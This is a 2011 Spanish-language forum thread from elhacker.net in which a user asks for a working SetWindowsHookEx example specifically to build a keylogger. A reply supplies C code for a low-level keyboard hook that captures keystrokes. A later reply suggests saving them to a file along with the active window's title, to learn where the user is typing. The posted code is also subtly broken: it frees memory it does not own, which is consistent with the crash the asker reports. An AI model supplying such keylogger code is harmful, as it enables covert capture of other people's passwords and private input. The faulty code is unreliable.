elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  SetWindowsHookEx ¿hay un ejemplo claro y funcional?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: SetWindowsHookEx ¿hay un ejemplo claro y funcional?  (Leído 11,232 veces)
yovaninu


Desconectado Desconectado

Mensajes: 349



Ver Perfil
SetWindowsHookEx ¿hay un ejemplo claro y funcional?
« en: 5 Agosto 2011, 05:03 am »

Buenas a todos

Me he pasado varias horas googleando a cerca de esta interesante API para 'enganchar' al teclado y a otras cosas, pero la mucha info que hay, esta al 90% en ingles y me cuesta entenderlo, por lo que pido ayuda a alguna alma caritativa para poder entenderla y ojala con un ejemplo funcional para a partir de alli poder crear por ejemplo un keylogger simple.

Por lo que he logrado entender, seria mejor usar un hook a WH_KEYBOARD_LL y no a WH_KEYBOARD, ya que esta ultima dependeria de una DLL.

Y por ultimo, ya que estoy bajo Visual C++ 2005, cual es el mejor escenario para poder crear por ejemplo un keylogger, una aplicación de consola o una aplicacion de Win32.

Se que puedo estar preguntando cosas sin saber pero justamente por eso os pido que me orienten un poco.

Saludos y muchas gracias desde ya.


En línea

naderST


Desconectado Desconectado

Mensajes: 625



Ver Perfil WWW
Re: SetWindowsHookEx ¿hay un ejemplo claro y funcional?
« Respuesta #1 en: 5 Agosto 2011, 06:51 am »

Para el keylogger sin duda la aplicación Win32 y un ejemplo de un hook al teclado sería este:

Código
  1. #include <windows.h>
  2. #include <stdio.h>
  3.  
  4. HHOOK hHook;
  5. MSG messages;
  6.  
  7. LRESULT CALLBACK hook_teclado(int nCode, WPARAM wParam, LPARAM lParam);
  8.  
  9. int WINAPI WinMain (HINSTANCE hThisInstance,
  10.                     HINSTANCE hPrevInstance,
  11.                     LPSTR lpszArgument,
  12.                     int nCmdShow)
  13. {
  14.    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)hook_teclado, hThisInstance, NULL);
  15.  
  16.    while(GetMessage(&messages, NULL, NULL, NULL)){
  17.        TranslateMessage(&messages);
  18.        DispatchMessage(&messages);
  19.    }
  20.  
  21.    return messages.wParam;
  22. }
  23.  
  24. LRESULT CALLBACK hook_teclado(int nCode, WPARAM wParam, LPARAM lParam){
  25.    if(nCode < 0)
  26.        return CallNextHookEx(hHook, nCode, wParam, lParam);
  27.  
  28.    if(wParam == WM_KEYDOWN){
  29.        PKBDLLHOOKSTRUCT teclado = (PKBDLLHOOKSTRUCT)lParam;
  30.        printf("%c", teclado->vkCode);
  31.        free(teclado);
  32.    }
  33.  
  34.    return CallNextHookEx(hHook, nCode, wParam, lParam);
  35. }
  36.  
  37.  

Aquí algunos links a la MSDN:

http://msdn.microsoft.com/en-us/library/ms644960(v=VS.85).aspx
http://msdn.microsoft.com/en-us/library/ms644990(v=vs.85).aspx

Todo lo que tiene que ver con el API de Windows esta ahí.


En línea

yovaninu


Desconectado Desconectado

Mensajes: 349



Ver Perfil
Re: SetWindowsHookEx ¿hay un ejemplo claro y funcional?
« Respuesta #2 en: 5 Agosto 2011, 23:42 pm »

Ok, gracias por el ejemplo naderST, aunque en el Vs 2005, tuve que cambiar la definicion del preprocesador a UNICODE;_UNICODE;_WIN32_WINNT=0x0500 para que el ejemplo pueda ejecutar, ya sin ello daba el error
Código:
'WH_KEYBOARD_LL': undeclared identifier

Bueno, al ejecutar el codigo de ejempo, aparentemente, ( o hasta donde hago el esfuerzo de entender) captura la tecla pulsada y luego el programa se detiene, me sale la sgte ventana:


Cuales son los procedimientos que deberia realizar para poder ver las teclas capturadas y/o guardarlas en un archivo?

Gracias por su tiempo.
En línea

naderST


Desconectado Desconectado

Mensajes: 625



Ver Perfil WWW
Re: SetWindowsHookEx ¿hay un ejemplo claro y funcional?
« Respuesta #3 en: 6 Agosto 2011, 05:39 am »

Código
  1. teclado->vkCode

Con eso tienes la tecla y bueno lo demás de guardarlo en un archivo es básico, puedes usar la función GetForegroundWindow() para obtener la ventana actual y guardar eso en el archivo de texto y con eso saber en que ventana el usuario esta escribiendo y hay una infinidad de cosas que puedes hacer, ponte creativo.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Equivalente a SetWindowsHookEx en modo kernel?
Programación C/C++
Zzombi 6 4,975 Último mensaje 31 Julio 2010, 21:11 pm
por Littlehorse
CONSULTA: SetWindowsHookEx
Hacking
noookiever 1 4,353 Último mensaje 26 Agosto 2011, 15:41 pm
por someRandomCode
El grupo antipiratería AEPI, un claro ejemplo del “cazador cazado”
Noticias
wolfbcn 0 6,663 Último mensaje 19 Marzo 2017, 22:06 pm
por wolfbcn
Llamadas API de keylogger/SetWindowsHookEx vs GetAsyncKeyState
Análisis y Diseño de Malware
TickTack 0 11,801 Último mensaje 27 Abril 2021, 09:30 am
por TickTack
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines